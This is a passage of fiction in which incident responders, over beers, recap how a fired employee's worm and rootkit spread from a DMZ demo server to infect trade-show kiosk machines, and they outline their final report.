“Correct. Since we’re dealing with a terminated employee and have isolated the root cause of the incident, they have requested a final report by next week.” I replied as I smacked Scrap on the arm, distracting him from his elongated gaze at the hostess.

“Huh? Um, yeah this was a weird one indeed. Not as weird as other cases, but there were quite a few twists involved.” Scrap said as let out a large yawn.

“Care to let me in on what your final report is going to say? This is fascinating.” Hugo asked.

“Sure. As I told you shortly after we arrived, this all started from some misbehaving demo kiosk machines at the trade show. We were able to surmise that a tasty piece of malware was being installed on the machines from an external source, and then trying to replicate itself to other vulnerable machines.”

Hugo finished his beer with a large belch. “Right. The malware was preventing the demo machines from functioning normally, which could be contrived as some type of denial-of-service attack.”

“Precisely.” I began. “Reese was concerned that she was being specifically targeted by someone that wanted her demos to fail, when in fact it was a side effect of a misconfigured rootkit and worm. Weed had tested the stuff on a live network which we later learned was a DMZ-based sales demo server. It would appear that the worm got out of control and attacked every machine on their local area network and DMZ segments. The network monkeys missed checking the sales demo servers for the worm, hence the reason the demo kiosks were infected the minute they connected to the web server.”

Scrap flagged down the waitress for another round of drinks and eagerly added to the conversation.

“From what we learned in the lab, it looks like Mr. Weed was developing his personal information-snatching worms during company time, and then discovered that he could pimp out his worm with a rootkit and make some cash from interested parties.” Scrap said.

“Right, but what I don’t understand is why there were so many components involved here. The guy writes a killer worm, then mixes in a rootkit for profit, and then deploys some server-side code to propagate the worm to web clients? This sounds way too complex for a series of accidents.” Hugo said as he raised his eyebrows. “The guy was either really good, or really incompetent.”

I chuckled. “I think he was a combination of both. The worm was a brilliant piece of coding. It actually checked to see if IIS was running on the host - if it was it looked for standard default web pages to infect like index.html or index.asp for example.”

Hugo raised his eyebrows again. “Wait a second, so why did the guy just leave his workstation intact when he was canned? Didn’t you say he didn’t change the local administrator password?”

“You are correct again, but you need to look at Weed’s position in the company. He was practically the network manager and assumed that that he was so important that they’d never can him. Unfortunately for him, the company called his bluff and terminated him for being constantly late for work. He was written up three times for being several hours late to work and smelling like alcohol.” I replied.

“Oh! And the reason the workstation was intact was because the company actually followed their termination procedures to a ‘T’. They called Weed to the human resources office, terminated his employment and escorted him out to his car. He didn’t even call to come get his stuff in his office. Apparently his fine collection of shot glasses wasn’t that important.” Scrap joked.

“Shot glasses? How did you learn about shot glasses?” I queried.

“It was in his employee file. Apparently they were mailed to him.” Scrap responded.

“Gotcha. So anyway, my recommendation to the company will be to document the incident thoroughly, do a top-down security review of electronic assets, policies, procedures and personnel and then move on. The research and evidence that we’ve documented speaks for itself.” I stated.

“Wow. That sure was a lot of work just to write a report!” Hugo said with a laugh. “Unfortunately, I’ve been there and done that. Hey, it pays the bills.”

“That it does, my friend.” I said with a smile as we toasted our beer mugs.

“To Weed, these are three beers that you won’t be drinking on our tab.” Scrap said to thunderous laughter from the table.

Source: archived original